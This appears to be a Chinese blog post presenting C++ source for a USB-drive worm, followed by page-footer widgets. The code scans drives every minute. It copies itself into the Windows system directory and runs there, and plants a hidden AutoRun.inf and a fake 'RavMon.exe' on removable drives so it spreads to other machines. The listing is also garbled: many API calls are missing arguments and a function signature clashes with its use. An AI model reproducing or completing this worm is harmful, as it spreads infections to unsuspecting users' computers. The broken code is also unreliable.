c++u盘病毒

上代码:

#include<windows.h>
#include<String.h>
  
BOOL UDevice();
 
void resourceToFile(char  *filename,char *Name,char* TypE);
 
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
 {
     UDevice();
    return 0;
 }
 
 BOOL UDevice()
 {
     
     while(1)
     {
         char Name[256]="H:\\";
         char szName[256];
         char ToPath[256];
         char infPath[256];
         char OpenUDevice[79];
  
         UINT retType;
      
         memset(szName,256);
         memset(ToPath,256);
         memset(infPath,256);
         memset(OpenUDevice,79);
     
     
     //do
     //{
     //}while()
     
     //遍历盘符
         unsigned char i = 0x42;
         for(; i < 0x5B; i += 0x1)
         {
           Name[0] = i;
           retType = GetDriveType(Name);
           //判断是否是可移动存储设备
           if(retType == DRIVE_REMOVABLE)
           {
                //得到自身文件路径
                GetModuleFilename(NULL,szName,256);
                //比较是否和U盘的盘符相同
                if(strncmp(Name,1) == 0)
                {
                    //得到系统目录
                   GetSystemDirectory(ToPath,256);
                   strcat(ToPath,"\\Uinfect.exe");
                   //把自身文件复制到系统目录
                   if(CopyFile(szName,ToPath,TRUE))
                   {
                       WinExec(ToPath,0);//运行程序
                   }
 
                   strcpy(OpenUDevice,"explorer ");
                   strcat(OpenUDevice,Name);
                   
                   //打开U盘
                   WinExec(OpenUDevice,1);
                   return 0;  
                }
                else
                {
                    strcpy(ToPath,Name);
                    strcat(ToPath,"\\RavMon.exe");
                    strcpy(infPath,Name);
                    strcat(infPath,"\\AutoRun.inf");
 
 
                    //还原U盘上的文件属性
                    SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL);
                    SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
                    //删除原有文件
                    deleteFile(ToPath);
                    deleteFile(infPath);
                    //释放AutoRun.inf到U盘
                    resourceToFile(infPath,(char*)0x64,(char*)256);
                    //拷贝自身文件到U盘
                    CopyFile(szName,falSE);
                    
                    //把这两个文件设置成系统,隐藏属性
                    
                    //这里我查了MSDN  因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦
                    SetFileAttributes(ToPath,0x6);
                    SetFileAttributes(infPath,0x6);
                }
           }
         }
         //一分钟检测一次U盘
         Sleep(60000);
     }
    
 }
 
 
void resourceToFile(char  *filename,char* TypE)
{  
    
    //寻找自身进程中的资源
    HRSRC hRes = Findresource(NULL,Name,TypE);
    if(hRes==NULL)
        return;
    //导入资源
    HGLOBAL hgRes = Loadresource(NULL,hRes);
    if(hgRes==NULL)
        return;
    //锁定资源
    void *pRes = Lockresource(hgRes);
    if(pRes==NULL)
        return;
    //得到资源字节数
    DWORD size = Sizeofresource(NULL,hRes);
    if(size==0)
        return;
    //创建文件
    HANDLE hFile = CreateFile(filename,0x40000000,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if(hFile==INVALID_HANDLE_value)
        return;
    DWORD dwWrite;
    //把资源写入到文件
    if(!WriteFile(hFile,pRes,size,&dwWrite,0))
        return;
    //关闭文件句柄
    CloseHandle(hFilE);
    //释放资源
    GlobalFree(hgRes);
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值